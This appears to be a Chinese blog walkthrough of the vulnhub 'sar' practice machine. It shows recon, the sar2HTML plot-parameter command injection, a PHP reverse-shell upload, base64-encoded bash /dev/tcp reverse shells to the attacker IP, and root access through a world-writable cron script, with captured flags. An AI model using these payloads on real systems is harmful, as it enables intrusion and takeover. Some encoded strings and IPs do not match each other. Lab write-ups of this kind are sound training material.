X黑手网
X黑手网
X黑手网

【OSCP模拟-No.2】Sar靶机渗透测试练习

前言:

  • 本练习的靶机是vulnhub平台下的sar,该靶机是一个类似oscp的虚拟机,目的是提高并巩固渗透测试的知识点。

  • 主要利用方式:sar2HTML命令执行反弹shell(可php文件上传反弹shell)+定时脚本提权

一、靶机信息

靶场: vulnhub.com
    靶机名称: sar: 1
    难度: 简单
    发布时间: 2020年2月15日
    下载地址:https://www.vulnhub.com/entry/sar-1,425/
    备注:本次靶机,无论是在第一层获取低权限的过程中还是提root权限,方法都很多。
      如:可以通过sar2HTML RCE 命令执行(get即可),也可以通过文件上传php  拿webshell
          提权时候,可以通过之前上传的webshell 指向定时任务,或者用nc反弹shell 等等

二、虚拟机配置

这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击sar靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。

三、收集信息及第一阶段的攻击

1、探测靶机ip地址

sudo arp-scan -I eth0 -l

image

2.nmap探测目标IP的开放端口

sudo nmap -p-192.168.132.149

image

3、nmap探测80端口的开放服务及服务信息

-A 代表综合性扫描,能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口,后面的-代表所有端口。
sudo nmap -p80 -sV -A 192.168.132.149

image

4、发现只开放的80端口,看来突破口只能从web上找了。用浏览器打开该网站。

image

5、路径搜索,发现无dirsearch的应用,我们安装它

sudo apt-get install dirsearch

image

7、正常执行dirsearch 命令,探测敏感路径

dirsearch -u 192.168.132.149

image

8、按照惯例,查询phpinfo.php 、robots.txt等敏感目录

image

9、查询robots.txt

image

10、查询sar2HTML页面,常规web项目

image

11、 kali 搜索一下目前存在已知的sar2html漏洞,发现存在RCE漏洞

searchsploit sar2html

image

12、将sar2html利用的脚本拷贝至本地。

searchsploit -m php/webapps/49344.py

image

13、查看利用方式,可以发现利用的地方在于plot的入参处。

image

14、首选查看passwd相关信息

http://192.168.132.149/sar2HTML/index.php?plot=;cat%20/etc/passwd

image

15、文件上传,尝试上传jpg及 php文件,平台无任何过滤措施

image

16、在github中的源代码里面查询到上传的地址,

image

17、编辑一个php反弹shell的木马

(github等直接可以下载,GitHub - pentestmonkey/php-reverse-shell)

pentestmonkey/php-反向壳 (github.com)

注意:要将ip改成kali的ip,端口port随便设置一个。

image

18、设置监听端口

nc -lnvp 1234

image

19.访问木马,反弹shell

这里的文件上传没有任何过滤,并且这个GitHub地址上给出了默认路径,尝试默认路径可以直接知道上传shell的路径

image

20、以上是通过php上传反弹shell的方式,但不知道因为啥原因,本次没有反弹成功,但是查询别人的writeup发现是有反弹成功的。

21、通过返回RCE脚本测试,靶机对于 -e的入参,反弹没有成功,可能是靶机的nc禁用了-e参数, 经过测试,可以通过base64编码RCE命令即可正常反弹shell。

echo "bash-i &>/dev/tcp/192.168.169.129/8888 <&1" | base64

得到base64加密后的数据:

YmFzaC1pICY+L2Rldi90Y3AvMTkyLjEzMi4xMjgvMTIzNCA8JjEK

image

22、再组合成下面的payload,也就是在靶机上将YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo=进行base64解码之后再执行

http://192.168.169.142/sar2HTML/index.php?plot=;echo%20YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTY5LjEyOS84ODg4IDwmMQo=%2

23、攻击机上nc监听8888端口,然后浏览器访问

image

24、cd 到最高权限var目录,查询var目录下低权限的靶机 flag。

find /home -iname"*.txt"|grep -v 'proc\|sys'

image

www-data@sar:/var$find /home -iname "*.txt"|grep -v 'proc\|sys'
find /home -iname"*.txt"|grep -v 'proc\|sys'
find:'/home/love/.local': Permission denied
find:'/home/love/.cache': Permission denied
find:'/home/love/.gnupg': Permission denied
find:'/home/love/.gvfs': Permission denied
find:'/home/love/.dbus': Permission denied
find:'/home/love/.ssh': Permission denied
find:'/home/love/.config': Permission denied
/home/love/Desktop/user.txt
www-data@sar:/var$cat /home/love/Desktop/user.txt
cat/home/love/Desktop/user.txt
427a7e47deb4a8649c7cab38df232b52

四、提权

25拿到shell后首先尝试了suid提权,内核提权,但是没有成功!目录里面也没有发现特殊文件,然后到网站的根目录下寻找特殊文件。

cd /var/www/html
ls -la

image

26、发现了两个特殊文件:finally.sh这个文件属于root,write.sh这个文件具有777权限。查看一下这两个文件里面的内容。

cat finally.sh
cat write.sh

image

27、发现finally.sh里的内容就是执行write.sh文件,而write.sh文件的作用就是创建一个文件 /tmp/gateway。由此想到了计划任务提权,查看一下 定时任务的配置文件/etc/crontab

image

28、定时计划配置不当,系统会每五分钟就以root权限执行finally.sh.最终的结果就是创建一个文件。如果利用这个定时器将反弹shell的代码写入write.sh中,进行执行,即可提权。

29、将反弹shell命令写入/var/www/html/write.sh,并查看是否写入成功

$ echo"bash -c 'exec bash -i &>/dev/tcp/192.168.169.129/6666<&1'" >> write.sh

image

注意:
*|*-在这个地方有一个坑,就是在反弹shell的控制台中,如果用vi指令,在输入反弹shell命令后,没有办法正常执行:wq!命令,并且按 ctrl +c     == 退出shell模式,
*|*-这个时候,需要升级shell控制端,python -c     "import pty;pty.spawn('/bin/bash')"

30、攻击机上nc监听6666端口

nc-nlvp 6666

image

31、等待片刻之后,root权限的反弹shell正式上线,熟练的查看ID以及root.txt

       获取root权限下的flag

cat/root/root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99

32、再查询一下拿到权限后的ip ,证明拿到了最终靶机的root权限

可发现本机IP为:192.168.169.142。根据前期查询的攻击机IP为:192.168.169.129

由此,第二个靶机的渗透测试到此结束。

 
© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容